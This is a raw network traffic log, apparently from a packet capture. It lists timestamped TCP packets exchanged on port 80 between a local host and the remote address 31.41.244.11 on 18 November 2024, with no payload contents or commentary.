Nov 18, 2024 19:04:12.371066093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371083975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371102095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371442080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371464968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371476889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371510983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371687889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371701956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371728897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371740103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371942997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371958017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.371979952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.371995926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372148991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372188091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372204065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372217894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372226000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372236967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372256994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372541904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372558117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372572899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372595072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372629881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.372956991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372972012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.372988939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373014927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373035908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373306036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373320103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373333931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373352051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373361111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373377085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373399019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373758078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373773098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373789072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.373819113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.373835087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.374128103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.374142885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.374157906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.374180079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.374202013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.374491930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.374509096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.374546051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.413346052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413465023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413477898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413531065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.413578987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413594961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413609982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413625002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.413634062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.413646936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.413671970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.472959995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473051071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473064899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473114014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473138094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.473207951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.473591089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473642111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.473668098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473680973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.473726988 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.474492073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.474509001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.474524975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.474564075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.474596024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.475563049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475578070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475594044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475796938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475812912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475827932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.475843906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.476069927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.476070881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.476070881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.476070881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.476070881 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.476865053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.478482008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.489579916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.489597082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.489610910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.489687920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.489687920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490231991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490247965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490272999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490289927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490295887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490305901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490314960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490336895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490364075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490489960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490540028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490556002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490580082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490580082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490611076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490838051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490860939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490876913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490906954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490937948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.490976095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.490991116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491007090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491024017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491025925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.491025925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.491045952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.491064072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.491405964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491512060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491645098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491660118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491676092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.491693020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492105961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492121935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492137909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492147923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492149115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492149115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492149115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492149115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492149115 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492202044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492202044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492377996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492393970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492408991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492443085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492472887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492516994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492532969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492547035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492572069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492580891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492590904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492602110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492608070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492625952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.492626905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492645979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492665052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.492691040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.493319988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.496553898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.532279968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.532566071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.532725096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.532741070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.532792091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.533123016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.533766031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.533822060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.534353971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.534368992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.534418106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.592928886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.592983007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.592998981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.593072891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.593089104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.593105078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.593122005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.593161106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.593198061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.593409061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594038010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594110012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594121933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594136953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594187021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594315052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594331026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594363928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594393015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594455004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594527960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594541073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594557047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594571114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.594579935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594616890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.594618082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608083010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608144045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608195066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608210087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608263969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608411074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608427048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608458042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608472109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608678102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608692884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608709097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608725071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608736992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608741999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.608768940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.608781099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609285116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609378099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609430075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609476089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609489918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609514952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609529972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609852076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609867096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609883070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609889984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609899044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.609908104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609915972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.609935999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.610296965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610311985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610363007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.610662937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610680103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610694885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610713005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.610719919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.610730886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.610738039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.610757113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611080885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611095905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611110926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611125946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611129045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611141920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611145020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611157894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611165047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611174107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611187935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611188889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611203909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611216068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611233950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611244917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.611963987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611978054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.611994982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612009048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612024069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612029076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.612051010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.612056971 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.612426996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612442017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612457037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.612468004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.612485886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.612498045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.651145935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.651164055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.651180029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.651226997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.651261091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.651410103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.652544022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.652697086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.652746916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.652782917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.652795076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.652829885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.711406946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711467028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.711899042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711921930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711940050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711946011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.711952925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711966038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.711975098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.711975098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712011099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712390900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.712414026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.712452888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712467909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712730885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.712775946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712805986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.712824106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.712855101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.712874889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.713068008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713083982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713100910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713130951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.713157892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.713540077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713557005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713572025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.713593006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.713606119 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.726802111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.726876974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.726892948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.726902008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.726914883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.726933956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727083921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727130890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727235079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727251053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727283955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727297068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727374077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727427006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727432013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727447987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727472067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727483988 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727752924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727768898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727783918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:12.727806091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:12.727826118 CET	49977	80	192.168.2.5	31.41.244.11
